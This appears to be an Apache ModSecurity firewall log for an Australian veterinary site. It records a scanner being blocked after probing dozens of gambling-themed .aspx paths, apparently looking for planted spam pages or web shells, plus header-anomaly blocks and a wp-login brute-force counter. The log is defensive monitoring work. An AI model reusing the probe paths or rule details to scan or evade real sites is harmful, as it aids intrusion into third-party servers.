[Fri May 01 00:59:35.092027 2026] [:error] [pid 21839:tid 21865] [client 217.182.194.3:58680] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "afOKd5_Sh66m95WwxJ4U4AAAAVc"]
[Fri May 01 00:59:37.487983 2026] [:error] [pid 5820:tid 5842] [client 217.182.194.3:58688] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "afOKeQyrLh3-LgH3Xv99KAAAABQ"]
[Fri May 01 00:59:39.988461 2026] [:error] [pid 5733:tid 5795] [client 217.182.194.3:50468] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "afOKe_T55_Ioa9J2OpIRwwAAAQU"]
[Fri May 01 01:00:00.785580 2026] [:error] [pid 5820:tid 5834] [client 217.182.194.3:50476] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "afOKkAyrLh3-LgH3Xv99QQAAAAw"]
[Fri May 01 01:00:03.246542 2026] [:error] [pid 5733:tid 5798] [client 217.182.194.3:54316] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "afOKk_T55_Ioa9J2OpIR6QAAAQg"]
[Fri May 01 01:00:05.901328 2026] [:error] [pid 5820:tid 5824] [client 217.182.194.3:54326] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "afOKlQyrLh3-LgH3Xv99QwAAAAI"]
[Fri May 01 01:00:08.390521 2026] [:error] [pid 5733:tid 5813] [client 217.182.194.3:54334] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "afOKmPT55_Ioa9J2OpIR9AAAARc"]
[Fri May 01 01:00:11.023540 2026] [:error] [pid 5733:tid 5796] [client 217.182.194.3:52796] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "afOKm_T55_Ioa9J2OpIR_gAAAQY"]
[Fri May 01 01:00:13.518325 2026] [:error] [pid 21839:tid 21861] [client 217.182.194.3:52822] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "afOKnZ_Sh66m95WwxJ4VAgAAAVM"]
[Fri May 01 01:00:16.020287 2026] [:error] [pid 5731:tid 5754] [client 217.182.194.3:52842] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "afOKoA8tX7TbSfYoUIxbeAAAAJM"]
[Fri May 01 01:00:18.641286 2026] [:error] [pid 5732:tid 5776] [client 217.182.194.3:52848] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "afOKotuJ3iSd5GdjqlheLAAAAM0"]
[Fri May 01 01:00:21.232429 2026] [:error] [pid 5733:tid 5808] [client 217.182.194.3:34068] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "afOKpfT55_Ioa9J2OpISDAAAARI"]
[Fri May 01 01:00:23.858213 2026] [:error] [pid 5731:tid 5737] [client 217.182.194.3:34082] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "afOKpw8tX7TbSfYoUIxbhAAAAII"]
[Fri May 01 01:00:26.566002 2026] [:error] [pid 5732:tid 5774] [client 217.182.194.3:34096] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "afOKqtuJ3iSd5GdjqlheMAAAAMs"]
[Fri May 01 01:00:29.182613 2026] [:error] [pid 6456:tid 6458] [client 217.182.194.3:47506] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "afOKrUOBwsDodnkJK5yfCQAAAEA"]
[Fri May 01 01:00:31.605651 2026] [:error] [pid 21839:tid 21851] [client 217.182.194.3:47526] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "afOKr5_Sh66m95WwxJ4VEAAAAUk"]
[Fri May 01 01:00:34.027488 2026] [:error] [pid 5733:tid 5805] [client 217.182.194.3:47530] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "afOKsvT55_Ioa9J2OpISHQAAAQ8"]
[Fri May 01 01:00:36.493026 2026] [:error] [pid 5732:tid 5785] [client 217.182.194.3:47550] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "afOKtNuJ3iSd5GdjqlheQQAAANY"]
[Fri May 01 01:00:38.805170 2026] [:error] [pid 5731:tid 5737] [client 217.182.194.3:48842] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "afOKtg8tX7TbSfYoUIxbsgAAAII"]
[Fri May 01 01:00:41.280859 2026] [:error] [pid 5731:tid 5744] [client 217.182.194.3:48846] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "afOKuQ8tX7TbSfYoUIxbuwAAAIk"]
[Fri May 01 01:00:43.753335 2026] [:error] [pid 21839:tid 21860] [client 217.182.194.3:48866] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "afOKu5_Sh66m95WwxJ4VGwAAAVI"]
[Fri May 01 01:00:46.232593 2026] [:error] [pid 6456:tid 6462] [client 217.182.194.3:48874] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "afOKvkOBwsDodnkJK5yfFwAAAEQ"]
[Fri May 01 01:00:48.510072 2026] [:error] [pid 5820:tid 5831] [client 217.182.194.3:48888] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "afOKwAyrLh3-LgH3Xv99bQAAAAk"]
[Fri May 01 01:00:50.842792 2026] [:error] [pid 5732:tid 5785] [client 217.182.194.3:48184] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "afOKwtuJ3iSd5GdjqlheUQAAANY"]
[Fri May 01 01:00:53.142605 2026] [:error] [pid 6456:tid 6481] [client 217.182.194.3:48194] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "afOKxUOBwsDodnkJK5yfIwAAAFc"]
[Fri May 01 01:00:55.419509 2026] [:error] [pid 5820:tid 5825] [client 217.182.194.3:48218] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "afOKxwyrLh3-LgH3Xv99dgAAAAM"]
[Fri May 01 01:01:18.574911 2026] [:error] [pid 5733:tid 5796] [client 217.182.194.3:48226] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "afOK3vT55_Ioa9J2OpIScQAAAQY"]
[Fri May 01 01:01:21.117310 2026] [:error] [pid 6456:tid 6465] [client 217.182.194.3:52392] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "afOK4UOBwsDodnkJK5yfPwAAAEc"]
[Fri May 01 01:01:23.749782 2026] [:error] [pid 5733:tid 5813] [client 217.182.194.3:52396] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "afOK4_T55_Ioa9J2OpISdwAAARc"]
[Fri May 01 01:01:26.384103 2026] [:error] [pid 5733:tid 5795] [client 217.182.194.3:52424] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "afOK5vT55_Ioa9J2OpISfwAAAQU"]
[Fri May 01 01:01:29.008807 2026] [:error] [pid 21839:tid 21847] [client 217.182.194.3:50488] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "afOK6Z_Sh66m95WwxJ4VVAAAAUU"]
[Fri May 01 01:01:31.582652 2026] [:error] [pid 6456:tid 6460] [client 217.182.194.3:50502] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "afOK60OBwsDodnkJK5yfUAAAAEI"]
[Fri May 01 01:01:34.055063 2026] [:error] [pid 5733:tid 5790] [client 217.182.194.3:50526] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "afOK7vT55_Ioa9J2OpISigAAAQA"]
[Fri May 01 01:01:36.629792 2026] [:error] [pid 5731:tid 5745] [client 217.182.194.3:50542] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "afOK8A8tX7TbSfYoUIxb-QAAAIo"]
[Fri May 01 01:01:39.257584 2026] [:error] [pid 21839:tid 21848] [client 217.182.194.3:38478] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "afOK85_Sh66m95WwxJ4VZAAAAUY"]
[Fri May 01 01:01:41.737368 2026] [:error] [pid 6456:tid 6465] [client 217.182.194.3:38488] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "afOK9UOBwsDodnkJK5yfWAAAAEc"]
[Fri May 01 01:01:44.031621 2026] [:error] [pid 5733:tid 5806] [client 217.182.194.3:38512] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "afOK-PT55_Ioa9J2OpISpAAAARA"]
[Fri May 01 01:01:46.521530 2026] [:error] [pid 21839:tid 21862] [client 217.182.194.3:38516] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "afOK-p_Sh66m95WwxJ4VbAAAAVQ"]
[Fri May 01 01:01:48.844603 2026] [:error] [pid 21839:tid 21845] [client 217.182.194.3:49888] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afOK_J_Sh66m95WwxJ4VbwAAAUM"]
[Fri May 01 01:01:51.148866 2026] [:error] [pid 21839:tid 21865] [client 217.182.194.3:49898] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "afOK_5_Sh66m95WwxJ4VcwAAAVc"]
[Fri May 01 01:01:53.442752 2026] [:error] [pid 5732:tid 5779] [client 217.182.194.3:49908] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "afOLAduJ3iSd5GdjqlheYwAAANA"]
[Fri May 01 01:01:55.768378 2026] [:error] [pid 5733:tid 5809] [client 217.182.194.3:49928] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "afOLA_T55_Ioa9J2OpISrgAAARM"]
[Fri May 01 01:01:58.253788 2026] [:error] [pid 6456:tid 6465] [client 217.182.194.3:49930] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "afOLBkOBwsDodnkJK5yfeAAAAEc"]
[Fri May 01 01:02:00.554732 2026] [:error] [pid 6456:tid 6458] [client 217.182.194.3:40674] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "afOLCEOBwsDodnkJK5yfewAAAEA"]
[Fri May 01 01:02:03.006029 2026] [:error] [pid 5820:tid 5837] [client 217.182.194.3:40688] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "afOLCwyrLh3-LgH3Xv99jAAAAA8"]
[Fri May 01 01:02:05.486321 2026] [:error] [pid 5820:tid 5842] [client 217.182.194.3:40706] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "afOLDQyrLh3-LgH3Xv99jwAAABQ"]
[Fri May 01 01:06:26.886987 2026] [:error] [pid 6456:tid 6474] [client 43.164.3.23:39584] [client 43.164.3.23] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afOMEkOBwsDodnkJK5ygLwAAAFA"]
[Fri May 01 05:32:00.821773 2026] [:error] [pid 6045:tid 6065] [client 43.131.26.226:58588] [client 43.131.26.226] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afPKUD4a1vLt_qHgXBSauwAAAUo"]
[Fri May 01 08:50:04.037066 2026] [:error] [pid 38117:tid 38129] [client 43.133.91.48:45684] [client 43.133.91.48] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afP4vGhRYBrFpu8czJpGyQAAAMQ"]
[Fri May 01 09:06:18.856637 2026] [:error] [pid 5976:tid 5996] [client 114.119.150.38:57919] [client 114.119.150.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2023/02/20230222_124458-scaled.jpg"] [unique_id "afP8irbCb0ye2WjKldeiVQAAARA"], referer: https://vetstars.com.au/caring-approach/
[Fri May 01 10:31:01.833131 2026] [:error] [pid 23768:tid 23790] [client 119.91.20.139:48044] [client 119.91.20.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afQQZb6xw2rrk9a1hVwdBgAAABE"]
[Fri May 01 13:47:10.376729 2026] [:error] [pid 24997:tid 25062] [client 114.119.156.56:28551] [client 114.119.156.56] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/sitemap_index.xml"] [unique_id "afQ-XvOkHa4ScY5oo8xdQgAAAMY"]
[Fri May 01 14:38:41.479390 2026] [:error] [pid 25085:tid 25111] [client 103.172.76.104:19005] [client 103.172.76.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.172.76.104, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afRKcfuD8fWRiE0RX0G3ZAAAAVQ"]
